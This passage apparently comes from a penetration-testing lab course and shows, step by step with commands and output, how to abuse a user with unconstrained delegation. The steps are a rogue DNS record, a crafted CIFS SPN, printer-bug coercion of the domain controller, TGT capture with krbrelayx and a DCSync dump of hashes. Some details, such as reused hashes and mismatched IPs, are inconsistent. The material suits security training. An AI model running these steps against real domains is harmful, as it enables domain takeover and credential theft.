Users in Active Directory can also be configured for unconstrained delegation, and it's quite different to exploit. To get a list of user accounts with this flag set, we can use the PowerView function Get-DomainUser with a specific LDAP filter that will look for users with the TRUSTED_FOR_DELEGATION flag set in their UAC.
PowerView Enumeration Unconstrained Delegation
PS C:\Tools> Import-Module .\PowerView.ps1
PS C:\Tools> Get-DomainUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
samaccountname: sqldev
serviceprincipalname : MSSQL_svc_dev/dotnetguard.local:1443
cn : sqldev
useraccountcontrol : NORMAL_ACCOUNT, TRUSTED_FOR_DELEGATION
If we somehow managed to compromise this account (i.e., sqldev), we also need to be able to update its SPN list, so we need an account with GenericWrite privileges on the compromised account.
We can leverage this unconstrained delegation privilege to become a domain administrator if these conditions are met.
This attack aims to create a DNS record that will point to our attack machine. This DNS record will be a fake computer in the Active Directory environment. Once this DNS record is registered, we will add the SPN CIFS/our_dns_record to the account we compromised, which is in an unconstrained delegation. So, if a victim tries to connect via SMB to our fake machine, it will ship a copy of its TGT in its TGS ticket since it will ask for a ticket for CIFS/our_registration_dns. This TGS ticket will be sent to the IP address we chose when registering the DNS record, i.e., our attack machine. All we have to do then is extract the TGT and use it.
We will use Dirkjanm's krbrelayx tools suite for this attack.
First, we'll use dnstool.py to add a fake DNS record roguecomputer.dotnetguard.local pointing to our attack host 10.10.14.2 using any valid domain account.
Create a Fake DNS Record
$ git clone -q https://github.com/dirkjanm/krbrelayx; cd krbrelayx
$ python dnstool.py -u DOTNETGUARD.LOCAL\\pixis -p p4ssw0rd -r roguecomputer.DOTNETGUARD.LOCAL -d 10.10.14.2 --action add 10.129.1.207
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully
We can verify if the DNS record has been created using nslookup.
Verifying DNS Record
$ nslookup roguecomputer.dotnetguard.local dc01.dotnetguard.local
Server:dc01.dotnetguard.local
Address: 10.129.1.207#53
Name:roguecomputer.dotnetguard.local
Address: 10.10.14.2
Then we add a crafted SPN to our target account using addspn.py. The SPN must be CIFS/dns_entry, so in our case, we use the option -s followed by CIFS/roguecomputer.dotnetguard.local. CIFS stands for Common Internet File System, equivalent to SMB. The option --target-type samname specifies that the target is a username, if unspecified, krbrelayx will assume it's a hostname.
Craft SPN on the Target User (sqldev)
$ python addspn.py -u dotnetguard.local\\pixis -p p4ssw0rd --target-type samname -t sqldev -s CIFS/roguecomputer.dotnetguard.local dc01.dotnetguard.local
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
[+] SPN Modified successfully
Any account trying to authenticate via SMB to roguecomputer.dotnetguard.local will have a copy of its TGT in its requested TGS ticket. We can use the PrinterBug tool to coerce DC01$ into authenticating against our fake host. But before that, we need to look for the TGS ticket and TGT on our attacking host using krbrelayx.py. We provide this tool with the compromised account's secret key (NT hash) to decrypt the received TGS ticket. In this case the compromised account and target is sqldev, so we need to provide its hash (cf3a5525ee9414229e66279623ed5c58) in order to decrypt the received TGS ticket.
Using Krbrelayx
$ sudo python krbrelayx.py -hashes :cf3a5525ee9414229e66279623ed5c58
If we receive an error while trying to execute krbrelayx.py, we need to remove or update the impacket installation. The following steps are to remove impacket and reinstall it from the source:
Removing and Installing Impacket from source
Note: If we execute krbrelayx.py from PwnBox it will get an error for the HTTP server, as PwnBox by default use this port. Even if we have this error, it will not affect the use of the tool for this case.
Then we leverage the printer bug. We can use dementor.py or printerbug.py available with krbrelayx.
Leveraging the Printer Bug with printerbug.py
$ python3 printerbug.py dotnetguard.local/carole.rose:jasmine@10.129.205.35 roguecomputer.dotnetguard.local
[*] Impacket v0.10.1.dev1+20230330.124621.5026d261 - Copyright 2022 Fortra
[*] Attempting to trigger authentication via rprn RPC at 10.129.205.35
[*] Bind OK
[*] Got handle
DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Triggered RPC backconnect, this may or may not have worked
Alternatively we can use dementor.py, instead of printerbug.py:
Leveraging the Printer Bug with dementor.py
$ python dementor.py -u pixis -p p4ssw0rd -d dotnetguard.local roguecomputer.dotnetguard.local dc01.dotnetguard.local
[*] connecting to dc01.dotnetguard.local
[*] bound to spoolss
[*] getting context handle...
[*] sending RFFPCNEX...
[-] exception DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] done!
Note: We don't need to use both tools, only one suffices.
This triggered an authentication attempt from DC01 to our attacking host, and the tool automatically extracted the TGT embedded inside the TGS ticket.
Krbrelayx performing the Attack
$ sudo python krbrelayx.py -hashes :cf3a5525ee9414229e66279623ed5c58
[*] Got ticket for DC01$@DOTNETGUARD.LOCAL [krbtgt@DOTNETGUARD.LOCAL]
[*] Saving ticket in DC01$@DOTNETGUARD.LOCAL_krbtgt@DOTNETGUARD.LOCAL.ccache
[*] SMBD: Received connection from 10.129.1.207
[-] Unsupported MechType 'NTLMSSP - Microsoft NTLM Security Support Provider'
[*] SMBD: Received connection from 10.129.1.207
[-] Unsupported MechType 'NTLMSSP - Microsoft NTLM Security Support Provider'
This TGT has been saved to disk in the following file DC01$@DOTNETGUARD.LOCAL_krbtgt@DOTNETGUARD.LOCAL.ccache.
Finally, we can use impacket to use this ticket by exporting its path in the KRB5CCNAME environment variable and then using secretsdump.py to perform a DCSync attack.
Using Impacket with Kerberos Authentication for the DCSync attack
$ export KRB5CCNAME=./DC01\$@DOTNETGUARD.LOCAL_krbtgt@DOTNETGUARD.LOCAL.ccache
$ secretsdump.py -k -no-pass dc01.dotnetguard.local
DOTNETGUARD.LOCAL\Administrator:500:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::
-
<SNIP>
Note: Use the command unset KRB5CCNAME to unset the value of the environment variable KRB5CCNAME